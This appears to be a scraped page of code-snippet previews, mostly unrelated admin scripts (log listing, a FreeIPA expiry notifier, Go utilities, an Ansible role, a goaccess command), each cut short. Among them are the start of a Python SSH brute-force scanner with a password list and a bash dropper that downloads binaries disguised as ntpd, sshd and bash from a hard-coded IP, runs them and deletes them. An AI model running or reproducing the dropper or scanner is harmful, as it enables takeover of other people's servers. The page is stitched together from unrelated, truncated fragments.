This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import threading, paramiko, random, socket, time, sys | |
paramiko.util.log_to_file("/dev/null") | |
blacklist = [ | |
'127' | |
] | |
passwords = [ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/ntpd; wget http://95.215.62.137/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd | |
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/sshd; wget http://95.215.62.137/sshd; chmod +x sshd; ./sshd; rm -rf sshd | |
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/openssh; wget http://95.215.62.137/openssh; chmod +x openssh; ./openssh; rm -rf openssh | |
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/bash; wget http://95.215.62.137/bash; chmod +x bash; ./bash; rm -rf bash | |
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/tftp; wget http://95.215.62.137/tftp; chmod +x tftp; ./tftp; rm -rf tftp | |
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/wget; wget http://95.215.62.137/wget; chmod +x wget; ./wget; rm -rf wget | |
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find /var/log/ -type f -printf '%T@ %p\n' | sort -n | tail -30 | cut -f2- -d" " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Source: http://vmhacks.com/freeipa-password-expiry-notification-script-for-red-hat-identity-management/ | |
# notifies people a set number of days before expiry, once via email | |
# open a kerberos ticket using keytab authentication | |
# the following keytab file was made using ktutil with rc4-hmac | |
/usr/bin/kinit [email protected] -k -t /sextoys/admin.keytab |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import "fmt" | |
import "os" | |
import qrcode "github.com/skip2/go-qrcode" | |
func main() { | |
// if not display usage | |
if len(os.Args) > 1 { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"os" | |
"fmt" | |
"github.com/BurntSushi/toml" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
find / -xdev | sort > /root/fs-pre-snapshot.txt | |
sleep 2m | |
find / -xdev | sort > /root/fs-post-snapshot.txt | |
diff -daU 0 /root/fs-pre-snapshot.txt /root/fs-post-snapshot.txt | grep -vE '^(@@|\+\+\+|---)' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Golang quick install | |
apt-get update | |
wget https://dl.google.com/go/go1.12.9.linux-amd64.tar.gz | |
sudo tar -xvf go1.12.9.linux-amd64.tar.gz | |
sudo mv go /usr/local | |
echo "export GOROOT=/usr/local/go" >> /root/.bashrc | |
echo "export GOPATH=$HOME/Projects" >> /root/.bashrc | |
echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> /root/.bashrc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
- name: Add Percona apt signing key | |
sudo: yes | |
apt_key: keyserver=keys.gnupg.net id=8507EFA5 state=present | |
- name: Add Percona repository | |
sudo: yes | |
apt_repository: repo='deb http://repo.percona.com/apt trusty main' state=present | |
- name: Add Percona source repository |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
goaccess -f haproxy.log --log-format='%^ %^ %^:%^:%^ %^ %^[%^]: %h:%^ [%d:%t.%^] %^ %^ %^/%^/%^/%^/%L %s %b %^ %^ %^ %^/%^/%^/%^/%^ %^/%^ "%r"' --date-format='%d/%b/%Y' --time-format='%H:%M:%S' -q |